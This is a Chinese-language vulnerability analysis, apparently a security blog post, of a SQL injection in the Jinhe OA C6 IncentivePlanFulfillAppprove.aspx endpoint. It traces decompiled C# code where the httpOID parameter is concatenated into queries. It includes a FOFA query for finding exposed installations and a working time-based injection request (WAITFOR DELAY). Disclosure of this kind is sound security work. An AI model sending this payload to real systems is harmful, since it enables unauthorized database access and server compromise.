金和OA C6 IncentivePlanFulfillAppprove.aspx SQL注入漏洞


漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 IncentivePlanFulfillAppprove.aspx接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

fofa语法

app="金和网络-金和OA"

漏洞分析

默认的 TVersion 值为 0

根据 JHSoft.Web.IncentivePlan/IncentivePlanFulfillAppprove.aspx 文件内容

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="IncentivePlanFulfillAppprove.aspx.cs" Inherits="JHSoft.Web.IncentivePlan.IncentivePlanFulfillAppprove" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
    <div>

    </div>
    </form>
</body>
</html>

找到 IncentivePlanFulfillAppprove.cs 的对应业务逻辑实现

protected void Page_Load(object sender, EventArgs e)
{
  this.PageGlobalization();
  this.strUserCode = this.Session["UserCode"] != null ? this.Session["UserCode"].ToString() : string.Empty;
  this.strUserName = this.Session["UserName"] != null ? this.Session["UserName"].ToString() : string.Empty;
  this.strDeptID = this.Session["DeptID"] != null ? this.Session["DeptID"].ToString() : string.Empty;
  this.TPlanID = this.Request["httpOID"] != null ? this.Request["httpOID"] : "0";
  if (string.op_Equality(this.TPlanID, ""))
  {
    this.Response.Write("页面数据错误。。。");
  }
  else
  {
    this.intApproveID = this.Request["httpAppID"] != null ? Convert.ToInt32(this.Request["httpAppID"]) : 0;
    this.GetPlanInfoInit();
    this.WorkFlowInit();
  }
}

页面加载时

  • 读取HTTP请求中的httpOID参数,如果请求中没有此参数,则默认为"0"。
  • 判断TPlanID(即httpOID参数)是否为空字符串,如果是响应“页面数据错误。。。”。
  • 读取HTTP请求中的httpAppID参数,如果请求中没有此参数,则默认为0。
  • 调用 GetPlanInfoInit 方法 和 WorkFlowInit 方法

GetPlanInfoInit 方法业务逻辑如下

private void GetPlanInfoInit()
{
  JHSoft.IncentivePlan.BLL.IncentivePlan incentivePlan1 = new JHSoft.IncentivePlan.BLL.IncentivePlan();
  this.TVersion = Convert.ToString(incentivePlan1.GetCurrentPlanVersion(this.TPlanID));
  JHSoft.IncentivePlan.Model.IncentivePlan incentivePlanMessageById = incentivePlan1.GetIncentivePlanMessageById(this.TPlanID, this.TVersion);
  if (incentivePlanMessageById.IncentiveTitle == null)
  {
    this.Response.Write("页面数据错误。。。");
  }
  • 调用 GetCurrentPlanVersion 和 GetIncentivePlanMessageById 方法,获取计划的当前版本和完整的计划详情。
  • 如果计划的标题(IncentiveTitle)为空,则直接输出错误信息 "页面数据错误。。。",停止后续处理。

漏洞点

this.TVersion = Convert.ToString(incentivePlan1.GetCurrentPlanVersion(this.TPlanID));
JHSoft.IncentivePlan.Model.IncentivePlan incentivePlanMessageById = incentivePlan1.GetIncentivePlanMessageById(this.TPlanID, this.TVersion);

先将 TPlanID 代入 new JHSoft.IncentivePlan.BLL.IncentivePlan().GetCurrentPlanVersion 获取版本号 TVersion,然后再将其和 TPlanID 一起代入 new JHSoft.IncentivePlan.BLL.GetIncentivePlanMessageById 函数中。

而 GetCurrentPlanVersion 函数实现逻辑如下

public int GetCurrentPlanVersion(string TPlanID)
{
  DataTable dataTable = this.Conn.ExecSQLReDataTable("SELECT incentiveversion as MV FROM dbo.IncentivePlan WHERE IsCurrentVersion=1 and IncentiveId=" + TPlanID);
  int currentPlanVersion = 0;
  if (dataTable != null && ((InternalDataCollectionBase) dataTable.Rows).Count > 0)
    currentPlanVersion = Convert.ToInt32(dataTable.Rows[0][0]);
  return currentPlanVersion;
}

直接将 TPlanID 拼接进SQL语句的where语句后,造成SQL注入漏洞,非常简单。

再看 GetIncentivePlanMessageById 函数的业务逻辑部分

public JHSoft.IncentivePlan.Model.IncentivePlan GetIncentivePlanMessageById(
  string TPlanID,
  string TVersion)
{
  JHSoft.IncentivePlan.Model.IncentivePlan incentivePlanMessageById = new JHSoft.IncentivePlan.Model.IncentivePlan();
  StringBuilder stringBuilder = new StringBuilder();
  stringBuilder.Append("select IncentiveID,IncentiveVersion,IncentiveTitle,IncentiveContent,IncentiveYear,IncentivePeriod,IncentiveType,CreateUser,CreateTime,IncentiveTemplet,AppFlag,FulfillContent,FulfillMark,FulfillUser,FulfillTime,DelFlag,GrantDept,GrantUser,IncentiveDept,IncentiveUser,IncentiveTargetDesc,IsCurrentVersion");
  stringBuilder.Append(" FROM IncentivePlan ");
  if (string.op_Inequality(TPlanID.Trim(), ""))
    stringBuilder.Append(" where IncentiveID=" + TPlanID + " and IncentiveVersion=" + TVersion);
  DataTable dataTable = this.Conn.ExecSQLReDataTable(stringBuilder.ToString());
  if (this.Conn.IsError)

同样是将之前获取的 TVersion 和 TPlanID 直接拼接进SQL语句where语句中,造成SQL注入漏洞。

WorkFlowInit 方法业务逻辑如下

private void WorkFlowInit()
    {
      this.ToolBarTargetPlan.ButtonsTotals = 10;
      this.ToolBarTargetPlan.IntIsNew = 1;
      this.ToolBarTargetPlan.AppTID = "IOA_IncentivePlanFulfill";
      this.ToolBarTargetPlan.GroupCode = "";
      this.ToolBarTargetPlan.CurURL = "../JHSoft.Web.WorkFlow";
      this.ToolBarTargetPlan.CurUserID = this.strUserCode;
      this.ToolBarTargetPlan.CurUserName = this.strUserName;
      this.ToolBarTargetPlan.CurDeptID = this.strDeptID;
      this.ToolBarTargetPlan.ButtonClick += new ToolBar.ButtonEventHandler(this.ToolBarTargetPlan_ButtonClick);
      if (this.Request.QueryString["From"] == null)
        return;
      string.op_Equality(this.Request.QueryString["From"], "GiveOutShow");
    }

private void ToolBarTargetPlan_ButtonClick(object source, string ButtonName)
{
  string str;
  if ((str = this.ToolBarTargetPlan.ButtonDAType.Trim()) != null)
  {
    if (!string.op_Equality(str, "9"))
    {
      if (string.op_Equality(str, "8"))
      {
        this.InPlan.DeleteIncentivePlan(this.TPlanID, this.TVersion, "1");
        goto label_6;
      }
    }
    else
    {
      this.InPlan.UpdatePlanAppFlag(this.TPlanID, this.TVersion, (this.ToolBarTargetPlan.PassFlag == 1 ? 4 : -1).ToString());
      goto label_6;
    }
  }
  this.InPlan.UpdatePlanAppFlag(this.TPlanID, this.TVersion, 3.ToString());
label_6:
  this.ToolBarTargetPlan.AppOID = Convert.ToInt32(this.TPlanID);
  this.ToolBarTargetPlan.AppTitle = ((HtmlContainerControl) this.TIncentiveTitle).InnerHtml + "兑现审批流程";
  this.ToolBarTargetPlan.SaveFormFlag = true;
  ((Control) this).Page.RegisterStartupScript("success", "<script>ToInMain();</script>");
}

判断 ButtonDAType的值:

  • 如果 ButtonDAType 的值为 "9":
    • 调用 UpdatePlanAppFlag 方法,更新计划的审批状态标志(AppFlag)。具体值取决于 PassFlag 是否为 1,如果是,则设置为 4,否则设置为 -1。
  • 如果 ButtonDAType 的值为 "8":
    • 调用 DeleteIncentivePlan 方法,删除激励计划。传入的参数包括 TPlanID(计划ID)、TVersion(版本号)以及一个固定值 "1"。
  • 其他情况:
    • 调用 UpdatePlanAppFlag 方法,将审批状态标志更新为 3。

漏洞点

DeleteIncentivePlan 函数

public bool DeleteIncentivePlan(string PlanID, string Version, string DelFlag)
{
  StringBuilder stringBuilder = new StringBuilder();
  stringBuilder.AppendFormat("update IncentivePlan set IsCurrentVersion=0 where IncentiveID={0}", (object) PlanID);
  stringBuilder.AppendFormat("update IncentivePlan set ", new object[0]);
  stringBuilder.Append("IsCurrentVersion=1,");
  stringBuilder.AppendFormat("DelFlag={0}", (object) DelFlag);
  stringBuilder.AppendFormat(" where IncentiveID={0} and IncentiveVersion={1} ", (object) PlanID, (object) Version);
  this.Conn.ExecSQLReInt(stringBuilder.ToString());
  if (this.Conn.IsError)
  {
    this.IsErr = true;
    this.ErrMessage = this.Conn.ErrorMessage;
  }
  return this.Conn.IsError;
}

直接将 PlanID 参数拼接进SQL语句,造成SQL注入漏洞。

UpdatePlanAppFlag 函数的漏洞原理同上。

public bool UpdatePlanAppFlag(string PlanID, string Version, string Flag)
{
  StringBuilder stringBuilder = new StringBuilder();
  stringBuilder.AppendFormat(" update IncentivePlan set IsCurrentVersion=0 where IncentiveID={0} ", (object) PlanID);
  stringBuilder.AppendFormat("update IncentivePlan set ", new object[0]);
  stringBuilder.AppendFormat(" AppFlag={0},", (object) Flag);
  stringBuilder.Append(" IsCurrentVersion=1");
  if (string.op_Equality(Flag, "1"))
    stringBuilder.AppendFormat(",IsEdit=0,EditUser=''", new object[0]);
  stringBuilder.AppendFormat(" where IncentiveID={0} and IncentiveVersion={1} ", (object) PlanID, (object) Version);
  this.Conn.ExecSQLReInt(stringBuilder.ToString());
  if (this.Conn.IsError)
  {
    this.IsErr = true;
    this.ErrMessage = this.Conn.ErrorMessage;
  }
  return !this.Conn.IsError;
}

漏洞复现

GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfillAppprove.aspx/?httpOID=1;WAITFOR+DELAY'0:0:2'-- HTTP/1.1
Host: jhsoft.mrxn.net

成功延时 4 秒(执行两次)


手机扫码阅读

月子会所ERP管理云平台 UpLoadHandler.ashx 任意文件上传漏洞

月子会所ERP管理云平台 AttachedHandler.ashx 任意文件上传漏洞

评 论